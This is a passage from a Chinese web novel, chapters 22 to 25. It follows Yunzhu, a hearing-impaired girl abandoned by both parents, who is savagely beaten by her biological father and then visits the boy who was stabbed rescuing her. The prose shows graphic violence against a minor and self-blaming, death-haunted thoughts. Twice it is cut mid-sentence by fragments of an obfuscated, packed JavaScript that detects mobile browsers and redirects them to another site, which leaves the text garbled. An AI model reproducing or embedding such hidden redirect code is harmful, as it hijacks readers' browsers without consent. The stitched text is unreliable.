唉,父亲连一个电话也没有打过。 云竹不信邪,脑子里隐隐约约有了答案,她在微信软件里找到父亲的好友,发送“十月顺利”这一句简简单单的祝福—— 绿色的本人消息框旁,显示出了&红色感叹号。 【您还不是对方好友。】 不,云竹是他的女儿,不是普通的微信好友。正因为是后代的缘故,父亲把她微信拉黑了。 再也不见,没必要见。 云竹缓慢地放下手机。 但她希望再见。 22.Chapter 22 父亲在家庭中向来扮演者重要角色,和母亲的地位一样。 而在云竹的人生中,却是消失的存在。自从小云竹尚在襁褓中开口学说话,学会走路,学会跑步,第一次背起书包前往幼儿园时,背后起到看护作用的父亲总是沉默不言,没有过多的照顾,更没有言语上的安心。 更多的是母亲苏琦暴跳如雷如火山爆发的脾气伴随着云竹的童年。云竹在王婆婆家里,趁人不在,蹲下盯着小小的向日葵苗,好多天没有浇水,和她本身一样蔫儿吧唧。 说起童年生活,云竹第一时间想到的是母亲苏琦,这也侧面反应父亲这一角色在她生活中参与性不强。 为什么? 云竹寻求过原因。 但没有一个像样的答案。 “起开,站中间干什么呢?挡不挡道?你这小姑娘。” 这就是不像样的答案。 既回答了问题,也没有回答到点上。 云竹默默给一旁的行人让开道路,天上下起小雨,睫毛挂上一层稀薄的水珠。秋后雨丝带着空中潮湿泥土气息,她手里纂着两张旧红钞票,漫无目的地街上走着。 不想回家。 哦,说错了,不是不想回去。 手指撩拨几下头发丝,云竹摘下山竹发卡,又找到个位置卡上去,再摸一摸耳边,松了一口气。这下头发遮住耳洞旁的助听器,总不会有人经过时朝她瞥来惊异的眼神。 备受关注对她来说,无疑是把隐私的秘密暴露在阳光下。俗话说,眼睛是心灵的窗户,云竹能从人们的眼神中敏锐捕捉到隐藏的情绪,丝毫不屑于嫌弃的、充满同情的、无动于衷的……心脏一沉,云竹只想赶快跑开。 抬脚一路小跑到筒子楼下,云竹正凭着肌肉记忆拾阶而上。 脑子闪过念头。 她和妈妈组成的小家,已经不在了。 …… 云竹没有家了。 无论是精神层面还是物质方面。 水珠沿着头发丝滑落,云竹丧气地甩甩头,迷茫期间,她在附近走走转转,没有目标性的望着街上人来人往的群众,不知不觉中,坐在女贞树下,双手抱膝,下颚搁在膝盖上。 目光倒映出岩石上被雨水淋湿的蚂蚁。 想不通,她实在是想不通,为什么每次困难从人生阴影处偷袭她后,本以为能在缝隙中站在风口浪尖上喘口气,熬过了,终于熬过了,这一次挺过来了。老天爷像看不惯她轻松似的,派下各种天雷滚滚接踵而至。 更为重要的是,她无力反抗,无力改变。 云竹闭了闭眼。 程慕走了,学习里没人陪她玩。 妈妈走了,放学后她无处可去。 …… 她不禁开始想,接下来又会是谁走呢? 是身边的人,还是自己? 坏念头在手机闹钟声响起的那一刻中断。 云竹回过神来,手里握着两张红钞票,那是妈妈留给她最后的二百块钱,可是二百块钱能干什么?能让她有个居所吗?根本不能。 但是二百块钱又能干好多好多事情,比如大快人心地吃几顿饭填饱肚子、去超市把心仪的玩具熊买下来。 嗯,然后呢? 没有然后了,她什么也做不了。 经过长久和社会融合,云竹没有太沉浸在悲伤之中,她用被雨水淋湿的袖子擦擦眼泪,从兜里掏出手机,衣服擦擦屏幕,解锁,快速在手机上翻找到记忆中的电话号码,拨打。 云竹瞥了一眼大街上来往不断的行人,缩在巷子口角落里,开免提,凑近耳朵,这样听得更清晰。 “嘟嘟——” “你好,你拨打的电话号码暂时无法接通。” 云竹挂断电话。 前方有高瘦的人影缓缓向这里驶来。 是谭以南。 ……他又看到了这副狼狈的样子。云竹莫名紧张,手机塞进兜里。 “你来了。”云竹喉咙还是干涩。 “嗯。” 谭以南压实了棒球帽,唇瓣微动,穿过模糊雨幕,“你站在这里淋雨……家里没热水了?在这洗头?” 云竹好不容易平复下来的心情又被点燃,悲极反笑,“……你不也是?” “嗯。”帽檐投下来的阴影遮住他眼底的神色。 “你怎么总是带帽子?”云竹自从见到谭以南,从来没有见到他摘下帽子。 谭以南不答反问:“你怎么在这里不回家?” 云竹被噎了一下,又坐下,“我没家。” 谭以南缓缓道:“你有。” 云竹:“我没有,妈妈和别人结婚了,她不打算把我要走。”她没人要。 “又不是所有人都抛弃你了。” “谁还愿意接纳我?” “我。”谭以南没有丝毫犹豫。 云竹闻言后,抬眼看谭以南,后者的瞳孔中倒映出她湿漉漉的样子,像只被人遗弃在大街上的小猫。 “我说,我家。”谭以南脸色风平浪静,倒是不觉得刚刚说了什么惊世骇俗的话,“我姥姥很喜欢你。” 云竹不免苦笑,“我总不可能一辈子都住在王婆婆家里吧。” “为什么不能?她很喜欢你。” “我不能因为喜欢,而去一味索取。并且,我不能给王婆婆提供什么。” “想太多。不管是谁,正是因为这份喜欢才愿意让你寄住。” 云竹抬起头,“那你呢?” 谭以南一愣。 云竹继续说:“我说,那你呢?你同意我住你老家吗?” 谭以南不答反笑,“为什么不能同意?真要我拒绝,早就把你提溜出去了。” 云竹点点头,懂了他的意思。她接着说:“那我能不能用一下你的手机?我打个电话。” “给你家人打?”谭以南眉眼冷淡。 云竹没应声,双手接过他递过来的手机,屏幕亮起就是拨号界面。 通话记录占满整个页面,红色黑色号码交互交织在一起,云竹瞟了一眼,大多数都是各种x医生,有的备注后缀个括号,里面写着“很烦很唠叨的老头”。 下一个是“医嘱能说半个小时”,再下一个是“一次十盒药起步药店他家开的”。 云竹倒是觉得好笑又心酸。 指尖在拨号盘上飞速移动,云竹和上次一样打开免提,凑近耳朵听。 “嘟嘟——” “嘟嘟——” “嘟嘟——” “喂?”粗犷的男人嗓音传来,“你谁啊?” 云竹倒是没想到居然真的能打通,这也侧面反应了父亲就是把她的联系方式拉黑了,故意不接。 “爸爸,是我。” 父母离婚七年从未见面,父女相隔七年从未有过沟通的禁锢终于在这一天打破。 云竹也不知道眼泪什么涌出,是天上飘的 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“别来找我要钱啊,我还得养家呢,云生上初中也需要钱,家里新添的老二也得要钱,当初你妈把你要走,现在她不要你了,你去找她说理去。”男人絮絮叨叨说完,又顿了顿,“别找我,我不是你爸。” “嘟嘟——”两声电话挂断。 留下云竹一个人在雨天伫立,手足无措,眼神空洞,定定地拿着手机,精神恍惚了又恍惚。雨水打湿衣袖,沿着裤脚边滴落。 她一无所有。 只有妈妈施舍给她的二百块钱,爸爸急忙撇清关系的冷淡。 这二百块钱是同情,是施舍,更是断绝关系的一定锤音。 云竹从未感觉到世间形态如此荒凉,这荒无人烟的世界,这冷淡凉薄的人心。 哭也哭不出来,云竹早已哭到虚脱,往后一靠,倚在墙上,不久后一件柔软热乎的外套从天而降,带着熟悉炽热的体温。 接着,整个人被一股无名的力量吸走,她朝着那个方向加快脚步。 “这么喜欢淋雨,回家洗澡时可以淋个痛快。” 云竹气红了眼眶,可是她现在一滴泪都流不出来,“你非得这么说话,有意思吗?” “不气气你,哪里来的活人气?” “我现在和死人有什么两样?没人要我了,程慕转学了,我妈改嫁了不要我,我总算知道她上个月为什么夜不归宿了,原来早有打算;我爸接通电话的那一瞬间急着跟我撇清关系……谭以南,我是不是命不好,我是扫把星吗?” “不是,信我。有人爱着你。” 云竹跑累了,顶着外套,双手扶着膝盖喘气,“我不信你。” “那要怎么样才能相信?” “你说说,谁爱我?为什么我感受不到呢?” 谭以南停下脚步,回过头,眉眼依旧,他隔着云竹头上避雨的外套,那是他看雨越下越大,来不及上楼取伞,情急之下脱了外套,将她遮起来。 拇指轻抚脸颊上的干涸泪痕。 “现在呢?是否感受到?” 云竹愣住,下一刻他拉着她继续跑回家。 手指将外套卷起露出视线,对上谭以南朝筒子楼下方屋檐奔跑的背影。 雨幕愈急,筒子楼下。 他拉紧云竹的手,于层层雨帘穿行而过,水洼映出两人十指相扣,永不分离。 此后,云竹有了归宿,名叫谭以南。 23.Chapter 23 云竹一身湿淋淋的。 回到归宿,先是被王婆婆大惊失色地念叨一顿,说什么女孩子家家怎么这么不懂事,下雨了还在外面待着,连雨伞也不带,感冒发烧了怎么办……一阵阵唠叨几乎隔着助听器都要起茧子,但云竹还是面色淡淡地点点头,表示都听进去了。 可红着眼眶、满脸泪痕这一事实被王婆婆发现,云竹原本想编个善意的谎言,谁知这套说辞谭以南拿了去—— “她着凉了,一直在打喷嚏。” 两人竟诡异的达成了对云竹目前的悲惨处境只字不提的默契。 着了凉,洗了澡,擦干净头发,云竹白里透粉的面容上略显苍白,如在冰川之上的枯萎凋谢的白玫瑰渐渐被白雪侵蚀。她唇角干裂,对着王婆婆家里大红塑料小镜子招了招,一点活人气都没有。 睡了一觉,第二天还是如此,憔悴不堪。 王婆婆抽空出去买菜,要做日复一日的豆角子鸡蛋面,谭以南吃得腻了,但也不多说什么;云竹则是想着,有口饭吃就不错了。 谭以南“嗯”了一声,坐在沙发上,“姥姥出门买菜,你的助听器和手机放在前面的收纳盒上了。” 云竹一愣,走近,“谢谢你。” 昨天洗个热水澡后,身体每个毛孔散发出沐浴露的香味,长久不散,谭以南呼吸停顿了片刻,转过头去,可云竹身上裸|露的肌肤历历在目。他又闭上眼睛。 云竹倒是没有注意到他的小动静,只顾着拿起手机,她吸了吸鼻子,像只蹲坐在街头的流浪小白猫,“今天早上起来,我鼻子有点不通气,可能是感冒了,我下楼买点感冒灵。” 摸摸口袋里的二百块钱,云竹松了口气。王婆婆的家在三楼,楼层既不算高也不算低,云竹抬眼看去,目光所及正好看到楼下因中午吃饭而暂时关店的门店铺子,以及在路口摆摊卖西瓜的贩子。 入秋后的西瓜大多都不好吃。 中午这个时候烈日当头,云竹在周边街道转悠几圈,街道上门店全部上锁,显然店主回家吃饭去。 “T”字形路口卖西瓜的男人搬个木凳子,坐下来摇着蒲扇扇风。 云竹盯着唯一一家药店前的门锁,玻璃门上贴上一张大白纸,白纸黑字,工工整整写着“此店转让”。她回过头,盯着卖西瓜的摊贩,嘴巴动了动,心里组织着语言。 别紧张,别紧张…… 只是问个话而已。 云竹脚步沉重,慢慢向摊贩的方向走去。此时此刻她热得满头是汗,头发丝成一缕一缕的,紧紧贴在脸颊边,两腮也泛起红晕,豆大的汗珠顺着下颚线滑落。 “……您好,请问,你知道附近还有别的药店吗?” 满络胡腮的男人光裸着膀子,眼神直勾勾盯着她,嘴巴微微开口,又闭上。 云竹心里直直犯怵。 什么意思?卖瓜大叔刚刚说话了吗? 云竹没有助听器,两个人之间隔着五六步的距离。 难道他年纪大了,和王婆婆一样耳背?还是说这个人也是有听力障碍的?或者聋哑人?但是没有看到他带助听器啊,也没有打手语。要不要鼓起勇气再说一遍? 心脏跳动的频率直直上升,云竹听不见的左耳甚至感受到了心脏剧烈的跳动,这种隐隐不安的感觉是怎么回事? 云竹回过头,看向对门闭门的药店。王婆婆早晨去菜市场买菜走的是西路口,这“T”字形路口估计王婆婆从未干涉。谭以南也是从这里不久刚搬过来的。 正在她考虑着要不要下午再出去看看,身前却感到一种无形的压力,透过皮肤蔓延至四肢百骸,酥酥麻麻又伴随着冰冷低温,不禁抖了抖。 云竹骇然回头,还没看清眼前是什么情况,只记得满络胡腮的壮汉大叔可怖面孔近在咫尺,那凶狠的眼神几乎要将她吞没—— “啪!” 下一秒云竹失去重心,整个人瘫倒在地,脸上火辣辣的疼。 男人又扇她一巴掌,鲜红的巴掌印几乎复刻在白皙脸上,云竹脑子发蒙,右耳似乎被扇聋了。 “操!我他妈看你长这贱样就知道你是那死娘们生的!不亏我每天每夜蹲守,终于叫我碰上了!” 瘫倒在地上的云竹被男人的影子覆盖的严严实实,她还没有搞清楚状况,肚子又被踹了一脚。 “苏琦那个婊子呢?是不是死了?就应该早点去死!要不是她勾引我,我能跟我老婆离婚?”男人用脚踩住云竹带血的头发,吐沫星子喷在她的衣服上,“亏我到处打听才知道这贱人也离婚了,有夫之妇还到处勾引人,别以为喝晕了就没事,呸!恶心!你跟她长得一样恶心,你是不是叫什么竹?臭娘们实际上就是个野种,怪不得你后爹不要你!” 云竹在地上挣扎着,大声呼救,但是没有人理。男女力量悬殊,云竹本就体质弱,力气小,常年营养不良,力气上根本打不过男人。 她哭着喊着, 照样还是没有人出现。 云竹打不过他,开始撕咬,用脚踹,代价是脸上又多了几道血印子,唇角渗出几滴血,眼眶通红,她的脖子上出现好几道手印,喉咙发声困难,如千百把刀子捅进体内,不断往外流血。男人依旧边打边踹云竹,嘴里时不时念叨着什么。 但云竹什么也听不到,她不知道是不是右耳听力也被打损伤,还是脑子意识模糊过滤了外界的声音。她的状态和被苏琦酒后殴打的心态一模一样,从生和死之间反复跳跃。 云竹恨。 恨什么? 恨她的出身,怨她的家庭,厌她的听障,憎这恶心的老天! 但是她又想活着,因为听王婆婆说,早年过得辛苦,晚年就幸福,人这一生是否极泰来,陷入低谷期,必会迎来所谓的、一辈子追求的好运。 她活得太辛苦,太艰辛,路上全是玻璃渣,早早死了,早早被苦难按在烂泥里,那可不行。 她还没有感受过王婆婆口中所说的幸福。 不甘心! 她不甘心。 …… 可、可是,那又怎么样? 无数个日日夜夜,无数次用过期的药膏,用破破烂烂的纱布,自己哭着爆炸伤口时,云竹都是用这番说辞说服她,说服那个幼小受伤的她,破碎不堪的她。 无比熟悉的疼痛感再度来临,云竹感到自己真的快死去了。最要命的是,今天是工作日,筒子楼里除了年纪大身体有毛病的老年人,年轻人都去上班了,这里还是人流量最少的路口,接上空无一人,只能听到云竹撕心裂肺的惨叫。 眼前青天白日,在云竹的视网膜中渐渐附上一层灰雾。外面的声音,甚至男人的诋毁声她似乎也听不到了,呼吸渐渐减弱,减弱,减弱……云竹想着自己可能真的死了,竟然会出现幻觉—— 她又感到好像没有真正死去。 红蓝交间的闪光灯由远到近,云竹的窒息感居然慢慢有所缓和,干燥的空气一股劲涌入,她咳嗽了几声,湿润了,可能是血沫。昏暗不明的视野中出现熟悉的脸庞,熟悉的白色棒球帽,好看的眉眼下方血迹斑斑,和向来摆着一副臭脸的他有九分相似…… 都说人死之前,回光返照一瞬,其中会看到你碌碌无为的一生。从出生的婴儿,到慢慢学会走路,认识的友人,林林总总,直到死去。 云竹觉得她真是快死了,快被折磨疯了,临死前居然还梦到了谭以南。 还是和人斗殴的谭以南。 * 是一片空白。 没有任何颜色,没有可接触的物什,仿佛整个人置于真空。 想触碰又碰不到任何东西。云竹顿时想起小学同学之间传开的灵异鬼故事,说是人死后会到阴间。 这里是阴间吗? 云竹恍惚的想,感受不到疼痛,既然没有痛觉,那一定是死了。 死了不好,死了也好。 她在虚无中漂浮着,漂浮着。 向前,抬头,抬步。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097986|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆陆续续的画面如电影胶片般呈现,陈旧的胶片带被岁月烧光了颜色,黑白影像开始慢慢播放,时光倒退在被殴打的那一刻,正在阴间……姑且算是阴间,云竹也不知道为什么死后还有意识,还有想法,甚至能看到之前的回忆。 孤苦无依的小女孩被堵在墙角受尽屈辱,男人手脚并用,各种暴力在她身上体现地淋漓尽致。云竹站在遥遥远方的一点,拳头不自觉握紧。 如果,如果她再强一点就好了,再努力一点,再强大一点,就不会遭受这些所谓的暴力,她和妈妈也不会为生活所迫,窝在这间筒子楼里。她们会去往大城市。云竹总是将遭受的一切缘由归根于自身,童年时的成长环境造成现在的她,她却对此毫无怨言,甚至怪罪于自身性格。 角落里的小女孩奄奄一息地躺在墙角,男人似乎还没有解气,又骂了几句,正要继续掐她的脖子时。巷子口阴影处猛然窜出来个瘦削的身影,借助奔跑带来的外力,径直奔向男人的方向,往腰部一踹,男人失去重心倒在地上,但很快爬起来,两人殴打在一起…… 不行,要告诉谭以南赶紧跑,打不过,这个男人会打死他的! 在哪里?在哪里? 云竹跟无头苍蝇似的在黑暗里乱转,眼泪明明流光了,但眼眶中还是忍不住分泌泪水,眼睛一会干一会湿润的,好疼,但她嘴里念念有词道:“不行,快跑……你本来就生着病,打不过他,快跑啊……” 快跑…… 离开这里,不要因为毫不相干的我而去冒险。 你快跑啊……谭以南,你会被他打死的! “快跑……!” 眼睛猛然睁开,映入眼帘的是净白色的天花板,医用吊瓶挂在支架上,细长管子中不断有透明液体传输到身上。云竹平复呼吸,消毒水味弥漫着整个病房,十分呛人,她忍不住咳嗽几声,喉咙像是结痂,微微有铁锈味呛到口腔。 正如云竹那次回复王婆婆,她的眼泪早就在无边无际的苦难日子里流干了。但是一想到有人为她大打出手,或许是过多的疼痛醒来后便发作全身,又或许是畏惧苏琦的埋怨,她的眼泪顺着眼尾滑下,渗进枕头,洇湿了一大片。 她怎么会这么没用? 云竹尽量平复呼吸,她嘴里念叨着什么,又止不住的咳嗽。连着咳嗽的动作,牵连体内五脏六腑也泛着疼痛,铁锈味再次扑鼻而来,她知道那是自己的血,最后连怎么昏迷的都不知道。 医院病房门外传来老年人上气不接下气的抽泣哭声,云竹眯着眼睛往外看,几个穿白大褂的护士絮絮叨叨说些什么,“真可怜啊这小女孩……遭的什么罪?” “被打成这样,天啊太可怜了,这姑娘的父母呢?怎么没来?电话也打不通,怎么当家长的?” “据说父母离婚了都没人要,唉,那个挡刀的小子呢?” 动静引起了查房护士的注意,护士见她醒来便松了一口气,过来看了一眼吊瓶,“小姑娘,你醒了?先别动,小心牵扯伤口,好好休息,啊。” 云竹不听,也没有心情去听。胸膛伴随着大力呼吸而起起伏伏,她无声地流泪,湿润的杏眼就这样注视着护士,泪水模糊了视线,她看不清护士的神情,心脏泛酸,唯一的念头几乎破出心脏! 她干裂的嘴巴微张,一张一合,似乎在说什么,她想让护士过来,连伸出手招呼来的力气也没有。 早已眼边泛红的护士见状,便走到她身边。 云竹诉说着什么。 护士凑近了听。 只知道病床上活生生被打得半残昏迷的小女孩,带着哭腔说:“快跑……让谭以南快跑,让妈妈快跑……有人……” 年轻护士一下子就红了眼眶,抹了抹眼泪,声线颤抖,“谭以南,是那个见义勇为的男生吗?” 没等躺在病床上奄奄一息的云竹的回答,护士就再也忍不住说出口:“他、他还在急救室,警察和救护车过来时,他已经被人用水果刀捅了……” 24.Chapter 24 天色渐明,烈阳当空。 云竹眼神放空,倒映着天花板的纯色,是铺天盖地的白,是天堂的纯洁颜色。她伸出手,触摸下周围的物什确认还活着。 不敢闭上眼睛,闭眼后看到的是一片漆黑。失去视觉后其他感官会放大,深刻,细致,耳边男人的叫骂声循环播放,压抑得云竹喘不过来气。 这是什么时候的事情了? 哦,三天前。 她昏迷了整整三天,有时偶尔醒了也是不愿意睁开眼去看看外面世界的半眠状态。 谭以南是什么时候冲出来,又是什么时候和她一起躺在救护车里进医院的?昏迷的那段时间她什么也不知道,在这间病房里与世隔绝般。那个护士姐姐说,卖瓜叔叔被踹到在地后,又爬起来拿了大车上的切瓜刀子冲过去捅了谭以南一刀。 鼻腔的酸涩窒息感铺天盖地般袭来。 曾经云竹认为她的过往被苏琦打压,揍下去的一拳一脚挤压出眼泪,早已经流干流尽,没想到如今还会有流泪的痛感,像是五脏六肺被钉子钉穿了一个口,血液上涌至脱眶而出。 “怎么会这样……”眼泪沿着干涸的泪痕顺势而下,云竹胸膛起伏不定,“为什么,咳咳咳,怎么会……?” 不远处传来吱呀的开门声,云竹辨别了好久才认出这是从哪里传来的声音,治疗过程中助听器掉了也正常,她艰难的掀起眼帘,查房的护士闻声走来,笑着说:“你醒啦,第一次你醒来后没过多久又睡了,助听器我放在床头了,身体感觉怎么样?” 云竹躯体上的疼痛都不及心痛。可她还是固执地点点头,“谢谢你……咳咳咳,我有点渴。” 护士马上给她倒了一杯热水,云竹扶着床颤巍巍地坐起来,蓝白相间病号服显得脸颊更加苍白。 “慢点喝。” 云竹双手握着水杯,唇瓣微微发抖,似乎下了某种决心,“我能问问……他怎么样了吗?” 他还……活着吗? 他一定很疼吧。 都怪她,都怪她,如果不是因为她,谭以南厌世的性子,最坏的结果是无视而过,起码会保住自己的命,可是被捅了一刀……云竹看到有水滴落入杯中。 护士松了一口气,顺势递了一张卫生纸,“昨天抢救过来了,还在昏迷中,你伤的相对轻一些,再休息几天伤口结痂后就能出院了。” “他伤得重不重?”云竹忽然问了这么一句。 “……”护士欲言又止,“伤口位置太刁钻了,出血过多,但好在伤口深度浅,现在止住血了。” “那医药费……” “哦,门外有个老婆婆已经帮你们付了,先好好休养吧,小姑娘。”年轻护士一手拖着夹板,一手拿着圆珠笔在板上写着什么。 没等云竹再问,护士像是听到什么抬脚便出去,云竹无力地抬起眼,门缝中一对中年夫妇张着嘴在吆喝着什么,云竹隐隐约约听到声音,单凭对方的穿着打扮,她一眼认出这是谭以南的父母。 她咳嗽两声,端起热水杯喝几口,伸手勾起床头边上的助听器,挂在左耳处。 目前情况,她一概不知。 门外的混乱声音她这回听得一清二楚。 “放屁!这是以南的对象吧?难怪我在班级群里看到违纪消息说这俩人早恋,还没分手?” “那个女的就是巴不得南南早点死吧?还嫌他活得不够长?!” “你们小点声,隔壁病房的患者还需要休息呢!” “你让谁小声点?换作是你家的孩子被人捅了一刀,你会冷静吗?啊?”女人泼天大怒,“那个女学生的家长呢?怎么没见,赶紧滚出来赔钱!” 王婆婆的声音这时候响起,带着微不可闻的艰涩,“闺女啊……你就放过人家女娃娃吧,啊?这孩子也是可怜,爹妈离婚了都不要她,被亲爹找过来打一顿,谁能想到啊?你消消气,你消消气……” “妈,你让我怎么消气?还好抢救回来了,要是没抢救回来怎么办?”谭以南母亲双手抱胸,“要是晚期,也要让他多活一段时间,但是现在我和孩子他爸都约了专家过来,马上要见面了,怎么搞出来这种事情?” 云竹啰嗦了下身子。 对不起…… 对不起对不起…… 她真没想到事情居然会发生成这样,但是现在说什么一切都来不及了,一切都来不及……道歉是这个世界上最没用的话语,它不能让时间回流避免危险发生,也不能治愈任何人的伤疤。这个道理是云竹打心底明白,没有人比她更清楚。 脑子是一团乱麻,理不清楚事情的原因发展经过,她只知道有个卖瓜叔叔突然按着她打了一顿,打得厉害,在奄奄一息之际,谭以南从黑暗里挺身而出救了她…… 她对不起谭以南,对不起谭以南的一家,更对不起王婆婆。 寄人篱下的难过滋味她从未尝过,可反而云竹还背刺了这个小家庭的幸福美满,像一根仙人掌的刺逆向生长狠狠扎入植物体内,直到腐烂溃败,痛苦不息。 有没有未来,云竹不知道。 但从今往后,她再也无法面对谭以南了。 面对义不容辞借善心为由给她买高价助听器、满天繁星下引导她正视自身扭曲破碎的过往,接受缺陷人格,以及暴雨天主动将外套脱下给她遮风挡雨的英雄了。 她没有办法原谅自己,也没有办法挽救事实。 此时此刻,她垂着眼睛,紧紧抓住纯白被子。内心的极端想法奋力生长,她开始情不自禁想,要是不寄住在王婆婆家,不认识谭以南就好了,要是谭以南不来救她就好了……自己被打死,死就死了,总比连累别人好。 云竹喘着粗气,在宁静的病房分外明显,她想去看看谭以南怎么样了,但没有资格去探望。 怎么进去?以什么样名义进去探望? 这两个问题无解。 听到门外谭以南妈妈说的话,谭以南生了严重的病,也难怪成天看他一副病怏怏的样子。可是她不知道,不知道谭以南居然会拖着一副病弱躯体还要救她,这份恩情云竹无以为报,道谢数千百遍也不足挂齿。 执念疯长的声音穿透心脏。 云竹紧紧盯着门外。 她一无所知。 不知道谭以南在哪个病房,医院这么大,人也多,饶是她偷偷溜进去探望也背着巨大风险。 可是,她就是想去看看他啊…… 看他昏迷的模样,万分迫切希望你醒来。 眼泪浸透病号服,滋痛心口伤疤。 谭以南,你要醒来。 但我不愿你醒后的第一眼看见我。 是非对错我无力辩解,遗憾痛心我无法挽回,我仅是不愿看到你为了我一痛再痛。 被子擦干眼泪,腾出一只手拔出输液管,云竹披散着头发,拖着伤体,一步步走向病房门口。 一些家属在医院前台讨论着什么,她大可以趁着空隙间溜出去。 云竹摸了一下耳边的助听器,左手刚搭在门把手上,医院连廊不远处的声音传入耳畔。 “孩他爸你去倒点水,我渴了。” “唉,一大把年纪了可折腾不了啊,头发看起来一夜之间又白了好多,”这是王婆婆的声音,“那男人下手没轻没重的,把云竹丫头打得不像话,哪有这样当亲爹的,唉……” “妈,你还让那个女的住到家里?她是乞丐没家吗?” “话也不能这么说,她怪可怜的,性格也好,那是她爹干的蠢事,为啥子非得扯到后辈身上?” 等等。 云竹开门的动作倏然顿住,大脑思考停滞。 卖瓜的那个男人,为什么打她? 王婆婆说,那个男人,是她的亲生父亲。 瘫在门把手上的指骨蜷缩了一瞬。 随后浑身泛起剧烈的疼痛,眼泪再也止不住流出,用坏掉的水龙头形容再正常不过。一把捞下桌面上碎掉半个屏幕的手机,等待开机的时间分外漫长,漫长到云竹被打的那段时光。 拨打出苏琦的电话号码,只有她一个人的病房里,拨打电话的声音十分明显,但意料之内的是,电话背景音“嘟嘟——”了两声,对方便挂了电话。 没指望苏琦接电话,可回想起她搬家前对云竹警示的内容…… 云竹打了个冷战。 她不相信,但无力反驳。 麻绳专挑细处断。 苏琦,这个仅仅血缘牵扯羁绊但名义上已经离她而去的母亲,早就知道那个男人会来。 云竹总算是知道那二百块钱是什么了。 不是饭钱费,而是医药费。 打发人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114884|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的医疗费。 * 护士们换班时间到,云竹一直站在门后,听着家属们讨论的声音,大致推测出谭以南是在哪个病房。终于挑出时间段溜出去。 走廊长得仿佛没有尽头,惨白的顶灯投下毫无温度的光晕,两侧紧闭的病房门如同沉默墓碑。她的影子在脚下拖得细长,微微摇晃。 云竹脚步声放轻,但医院消毒水的气味,总带着一种近乎残忍的清洁感,顽固地钻进鼻腔深处,无孔不入。 夜晚间,医院连廊地面上的瓷砖锃亮,反射|出云竹脑内不断循环上演的碎裂记忆玻璃片,带着锋利的边缘扎回来—— 狭窄的小巷楼道,男人扭曲狰狞的脸,拳头挟裹着风声落在身上的闷响……然后,是他。那道不管不顾冲进来的、单薄却固执的身影,像一道撕裂黑暗的光。 混乱、撞击、闷哼……最后,是骤然溅上她睫毛的温热液体,粘稠又带着浓重的铁锈味。 无处宣泄的情绪清一色化作眼泪流淌而下,云竹抬手擦去,水珠洇透病号服,悲愤铺天而来,她恨自己为什么这么没用,总是拖累别人。 谭以南有错吗?出发点在救人性命,他无疑没有错。 自己有错吗? ……她不知道。 她是无辜的那一个,也是最可恨的那一个。 一切的破事全部因她出现,接踵而至。 云竹简直要笑出眼泪了,只是这眼泪流到嘴巴里是咸的,又苦又咸。 那扇门就在走廊尽头,门缝隙透出里面更幽暗的光线。云竹心尖一颤,顾不得脚下冰凉,趴在观察口,停在那里,像被钉在原地。她需要积攒一点可怜的勇气,才能抬起手,用指尖去触碰那冰冷的门把手。 病房里黑漆漆的一片,安静无比,只有心电监护仪发出单调而规律的“嘀——嘀——”声,在绝对的寂静里,这声音被无限放大,如同某种倒计时。绿幽幽的光点在屏幕上稳定地、毫无感情地跳跃着。 那点绿光,幽幽地映在云竹的瞳孔里,让她一瞬间恍惚起来。 她屏住呼吸,小心翼翼推开门,小心地挤进门缝,整个人挤进去后又关上门,确认周围没有家属在,暗暗松了一口气。 趁着窗外月亮倾泻而下的月光,云竹轻轻走近,将病床上的谭以南看得一清二楚。 各种冰冷的仪器和管子缠绕谭以南的单薄身体,像一个精致又易碎的玩偶。脸色苍白得近乎透明,连嘴唇都失去了所有血色,薄薄地抿着。 他的胸膛在被子下几乎看不出起伏,安静得可怕。 云竹怔了好久,渐渐模糊的目光转移到那点固执跳动的绿光,证明躺在病床上的这具躯壳里还勉强维系着一丝微弱的生机。 她稳住颤抖,拖着步子格外小心地挪到病床边,双手乖乖地放在床边,像小学生坐端正一样幼稚。 之前云竹一致认为自己得了某种疾病,看到谭以南便会心跳加速,不受控制地回避视线,但谭以南一走远,目光又紧紧粘在他身上。 而现在,云竹仔细瞧着谭以南从散落在洁白枕上的柔软额发,到紧闭的眼睑下浓密的睫毛,再到挺直的鼻梁和毫无血色的唇。 最后,她的目光定格在他那只露在被子外的手上。 手背上埋着留置针,皮肤是同样的惨白,藏在下面淡青色的血管微微显露,无力地搭在床沿。 就是这只手,在混乱中试图推开那个挥舞着水果刀的卖瓜男人…… 病房门的玻璃观察窗上映出云竹此刻的模样,毫无血色的面容,嘴唇在无法抑制地颤抖,无声地翕动,一遍又一遍,反反复复,固执地重复着那个在心底早已刻下无数遍的悔过:“对不起,都怪我……” 指尖触碰到搭在谭以南身上的被子,云竹回过神又将手缩回去。 她这个人容易在最坏的结果边缘不断深想,死死在深渊里徘徊。 要是、要是谭以南醒了看到她怎么办?看到这个所有坏事都是由她引起的扫把星怎么办? 谭以南会怎么办?又会怎么想? …… 会讨厌她吗?会恨上自己吗? 云竹不敢深究,她没有力气去想。 但是她又好想让谭以南醒过来。 对不起, 谢谢你, 但都怪我。 25.Chapter 25 天际最后一抹残霞褪尽了所有暖色,沉淀为一种冷调的灰蓝,如同稀释的墨汁,缓缓渗透进小镇的轮廓。 街道远处理发店外的旋转霓虹次第点亮,在渐浓的夜色里闪烁起星星点点、冰冷疏离的光。 